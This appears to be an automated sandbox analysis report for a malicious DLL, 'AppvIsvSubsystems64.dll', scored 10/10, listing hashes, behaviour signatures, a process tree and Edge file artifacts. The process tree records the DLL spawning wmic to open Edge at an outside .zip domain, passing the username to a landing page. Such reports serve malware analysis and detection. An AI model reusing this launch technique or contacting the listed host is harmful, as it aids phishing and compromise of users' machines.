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Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/08/2023, 02:03

General

  • Target

    AppvIsvSubsystems64.dll

  • Size

    6.8MB

  • MD5

    4ce8c27aa4f502d34fa2822990fbe5d3

  • SHA1

    303a0b8575e36ed6db6132cd9f47d1955fd8d9cf

  • SHA256

    91106d4e005f48f634db468fa7de022e894b7fa3dfa3f98aa69c7a3cfdf1b394

  • SHA512

    710321c017f580c9c83bfa0663cd7977cd787b73cd57acdb860fa76789fdafd6a1123d16af6cea78e09c89d2aa2a9b72f353f536786a5ab71fc8efcf7c0bc16a

  • SSDEEP

    6144:ZZ2tm6+5KpAEAjYOBs93caMSbOSrPBzQ3TR4crBRO0:Hv6AxjtBs/fCswTtXz

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\AppvIsvSubsystems64.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3396
    • C:\Windows\System32\Wbem\wmic.exe
      wmic process call create 'C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe https://word.v2310.zip/land.php?username=Admin'
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1576
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://word.v2310.zip/land.php?username=Admin
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3016
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc950846f8,0x7ffc95084708,0x7ffc95084718
      2⤵
        PID:2300
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,16192649508811379575,14275240246342451569,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
        2⤵
          PID:3780
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,16192649508811379575,14275240246342451569,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:5096
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,16192649508811379575,14275240246342451569,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2960 /prefetch:8
          2⤵
            PID:1188
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,16192649508811379575,14275240246342451569,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
            2⤵
              PID:5008
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,16192649508811379575,14275240246342451569,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3400 /prefetch:1
              2⤵
                PID:1696
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,16192649508811379575,14275240246342451569,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5168 /prefetch:1
                2⤵
                  PID:3840
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,16192649508811379575,14275240246342451569,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5068 /prefetch:1
                  2⤵
                    PID:1428
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,16192649508811379575,14275240246342451569,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5564 /prefetch:8
                    2⤵
                      PID:1480
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,16192649508811379575,14275240246342451569,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5564 /prefetch:8
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3228
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,16192649508811379575,14275240246342451569,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3584 /prefetch:1
                      2⤵
                        PID:4060
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,16192649508811379575,14275240246342451569,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5652 /prefetch:1
                        2⤵
                          PID:2004
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,16192649508811379575,14275240246342451569,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1828 /prefetch:2
                          2⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:3000
                      • C:\Windows\System32\CompPkgSrv.exe
                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                        1⤵
                          PID:3448
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:788

                          Network

                          MITRE ATT&CK Matrix

                          Replay Monitor

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                          Downloads

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                            Filesize

                            152B

                            MD5

                            70e2e6954b953053c0c4f3b6e6ad9330

                            SHA1

                            cb61ba67b3bffa1d833bb85cc9547669ec46f62f

                            SHA256

                            f6e770a3b88ad3fda592419b6c00553bdadc50d5fb466ef872271389977f2ab4

                            SHA512

                            eeacb0e62f68f56285f7605963ca9bb82f542d4e2ccc323266c08c9990cecdebd574e1ab304ae08ea8c6c94c50683180f83562f972e92799ebbcfcd8f503fb5a

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                            Filesize

                            505B

                            MD5

                            8dab1dbbf26f275f4f10c9d7951607e0

                            SHA1

                            6ddc5e3101688657e60c8d1f8734511c1f314e17

                            SHA256

                            8db6770fce64427494d4674b2229e8924bfe7c2a9151a5c39e12ef62f53169af

                            SHA512

                            24e29bb0adf0e59f3db3a29853852b46215e19666fe9a6feef548294379c450f3ae94fd5f00f2d35d8a63725ea5013ebdeb29eea8f9ac2af3430dafacc6571c0

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                            Filesize

                            111B

                            MD5

                            285252a2f6327d41eab203dc2f402c67

                            SHA1

                            acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

                            SHA256

                            5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

                            SHA512

                            11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                            Filesize

                            5KB

                            MD5

                            10ce07dbadca9a94b11aea2d99154081

                            SHA1

                            28924fd671b9d867b7233e58c80f176a90943585

                            SHA256

                            fd563ea1ba1b1cf9332db6b0fea9b6ef693ec3aac5f594638872a706a5ea6672

                            SHA512

                            da187fa2efe7b115767e77c7663bc7fd25b534a9ba8299bf151ecb20f183009375ecbee57b83063223296d6fb118587c55b624a04285a179371dc52125843d3a

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                            Filesize

                            5KB

                            MD5

                            4ae627ed02b0431a323311a50616d1f9

                            SHA1

                            d5e26b1fb4a91903503e39e2fa68c89398907b73

                            SHA256

                            76554519c1fe54a6414018d3a33c18329d65f219be1fc5b72b4b34d3d4474162

                            SHA512

                            b2e0c61cc3c478e8fb78ef3a166f07960b93f13f14dedfb62a7ad2df377aa88242d62a0cb4749fc5a114cf1381dddf5e53595cd22fa3287f300d97d0ef75b1dd

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

                            Filesize

                            24KB

                            MD5

                            5a478f1e08816969e8214f982850b754

                            SHA1

                            1cf5e7192f3c6e31c7e27b6cb34ebf89036eec0c

                            SHA256

                            665cf5612c61412c9acc928b1e155c8f11ae83905ce614d9a1a7ad72cc0fd489

                            SHA512

                            7e7ff60c157841f6f5bb206ebbce29f6df3a6c0c671805415ad7226654e13da49ad76e39a6d0afe28992348f3b5685ecacbfb44178fd61998c54caebbfd97832

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                            Filesize

                            16B

                            MD5

                            6752a1d65b201c13b62ea44016eb221f

                            SHA1

                            58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                            SHA256

                            0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                            SHA512

                            9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                            Filesize

                            11KB

                            MD5

                            9c1e67a25300e1595c9e69348f291b85

                            SHA1

                            173d2929a169230f8606afb4ee88a06d30b96180

                            SHA256

                            0600f02e2c0e7acf7e84cc80666f65a7114e4638e32ea4c8b419550554777ab5

                            SHA512

                            da98544838df6d5093dc1d72d568c13344868725c41ce6771512cf9bfd997dd8e8b1205d288b5cab7ce5d413de6ab4b5575bd2438c86f5a36cefac2ba19a626c